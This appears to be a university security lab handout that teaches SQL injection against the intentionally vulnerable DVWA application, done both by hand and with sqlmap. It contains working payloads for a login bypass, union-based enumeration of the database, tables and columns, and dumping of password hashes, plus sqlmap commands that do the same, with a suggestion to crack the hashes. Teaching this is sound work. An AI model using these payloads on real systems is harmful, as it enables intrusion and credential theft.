IFS4103 Lab 5: SQL Injection Attacks (Manual and Automated using sqlmap)

Objectives:

In this Lab 5, you will be looking at how you can launch **SQL injection attacks** in both manual and automated manners (using **sqlmap**). By observing both methods, you can appreciate how sqlmap can help you with a ***database-enumeration automation*** and also inspect the equivalent **series of manual steps**. More specifically, you will perform the following:

1. To run a series of **manual SQL injection attacks** in order to eventually **dump** the content of the target database's user table;
2. To use **sqlmap** for automatedly dumping the content of the user table in **an automated manner**.

Task 1: Manually Performing SQL Injection Attacks to Dump the Content of a User Table

Once you find that a website has a SQL injection (SQLi) vulnerability, you can **extract useful information** from its database, i.e. performing a ***database enumeration***. By doing so, you may be able to eventually obtain the username and password entries of the target web application, including the **administrator's**.

Without an automated tool like sqlmap, you will need to run **a series of manual SQL injection attacks** to successively:

- Find out the **database name**;
- Find out the **table names** in the current database;
- Find out the **column names** in the selected/targeted table;
- Dump the **records** from the selected/targeted column.

To achieve the above, you will need to utilize the **SQL union operation**, which allows for an additional SELECT query to be executed *on top of* the exploited SELECT query. Note that, for the union operation to work, the **total number** and **data types of the columns** in the two queries ***must match***. If the exploited query has **more columns**, you can utilize **`null`** columns in your added query as your *column filler/matchers*. If the exploited query has **less columns** than required, you can use the **concatenation operation**, i.e. `concat`(*column1*, 0x0a, *column2*, 0x0a, …) function, in your attack instead. The character '0x0a' is the newline character '\n', which is commonly used for separating columns.

You can practise the steps below on **DVWA web application**, which utilizes MySQL database. Just target this URL in DVWA: http://<*IP-address*>/dvwa/vulnerabilities/sqli. You can confirm that the login page is vulnerable by entering the following string to the **User ID** form field in order to **bypass** its login process (note that the character '#' is a comment starter in MySQL):

```
IFS4103' or 1=1 #
```

You can then successively perform **the following steps**:

- To find out the **database name**, enter the following string to User ID:

  ```
  IFS4103' and 1=2 union select null, database() #
  ```

  The second column of the row returned is the database name.

- To find out all **table names** of the current database, enter:

  ```
  IFS4103' and 1=2 union select null,
  table_name from information_schema.tables #
  ```

- To find out the **column names** in the **`users`** table, enter:

```
IFS4103' and 1=2 union select table_name,
column_name from information_schema.columns
where table_name = 'users' #
```

- To **dump the content** (rows) of the **`user`** and **`password`** columns in the **`users`** table, enter:

```
IFS4103' and 1=2 union select user, password
from users #
```

Once you can get the hashed passwords, including the one for administrator, you can then use a **password cracking tool** like John the Ripper to find out the actual password. The administration account of the web application is thus *owned*.

Task 2: Using sqlmap to Automatically Dump the Content of a User Table

As you can observe, the steps above are **rather tedious**. In addition, you also need to know **different metadata tables** of your target databases. sqlmap can automate the process of detecting and exploiting SQL injection flaws, including in performing database enumeration and user table dumping like in Task 1.

Kali Linux already has sqlmap **pre-installed**.[1] In the recent Kali Linux tested, sqlmap is invokable from /usr/bin/sqlmap. To show its basic help message, run:

```
sqlmap -h | --help
```

To show advanced help message, use the `-hh` flag/option instead.

[1] If you still need to install Kali Linux, you can easily do so by importing the **pre-made** Kali VM as described in: https://www.kali.org/docs/virtualization/import-premade-virtualbox/.

You can learn more about using sqlmap, by visiting the following sites:

- The project's site: https://sqlmap.org/
- Its GitHub site: https://github.com/sqlmapproject/sqlmap
- Its FAQ site: https://github.com/sqlmapproject/sqlmap/wiki/FAQ
- Its screenshot site: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
- Its **usage page**: https://github.com/sqlmapproject/sqlmap/wiki/Usage
- Its video demo site: https://www.youtube.com/user/inquisb/videos

The **usage page** is particularly useful as it gives you **all the switches**, including those for enumeration, OS access, Windows registry access, etc.

Let us now **automate the database enumeration** and **user table dumping** like in Task 1. Note that, in addition to specifying the required switches and the **target URL**, you also need to provide a valid cookie value for **session ID**. To do so, you can use **Burp Proxy** like in our previous lab. (For DVWA, the **URL to target** is: http://<*IP-address*>/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#. For the cookies, supply both the **`PHPSESSID`** and **`security`** cookies).

Using sqlmap, we can then successively invoke it as follows:

- To find out the **database name**, run the following command:

```
sqlmap -u "<target-URL>"
--cookie="PHPSESSID=<session-ID>; security=low"
-b --current-db
```

In the command above, **`-u`** specifies the target URL, **`-b`** retrieves the DBMS banner, and **`--current-db`** retrieves the DBMS' current database.

- To find out all **table names** of the current database (i.e. `dvwa`), run:

```
sqlmap -u "<target-URL>"
--cookie="PHPSESSID=<session-ID>; security=low"
-D dvwa --tables
```

  In the command above, **`-D`** specifies the target DBMS database, and **`--tables`** enumerates the DBMS' database tables.

- To find out the **column names** in the **`users`** table, run:

```
sqlmap -u "<target-URL>"
--cookie="PHPSESSID=<session-ID>; security=low"
-D dvwa -T users --columns
```

  In the command above, **`-T`** specifies the table to enumerate (i.e. `users`), and **`--columns`** enumerates the selected table's columns.

- To **dump** the content of the **`user_id`**, **`user`**, and **`password`** columns in the **`users`** table, run:

```
sqlmap -u "<target-URL>"
--cookie="PHPSESSID=<session-ID>; security=low"
-D dvwa -T users -C user_id,user,password
--dump
```

  In the command above, **`-C`** specifies the table columns to enumerate, and **`--dump`** dumps the table's entries.

Again, once you can obtain the hashed passwords, you can crack them in order to *own* the web application!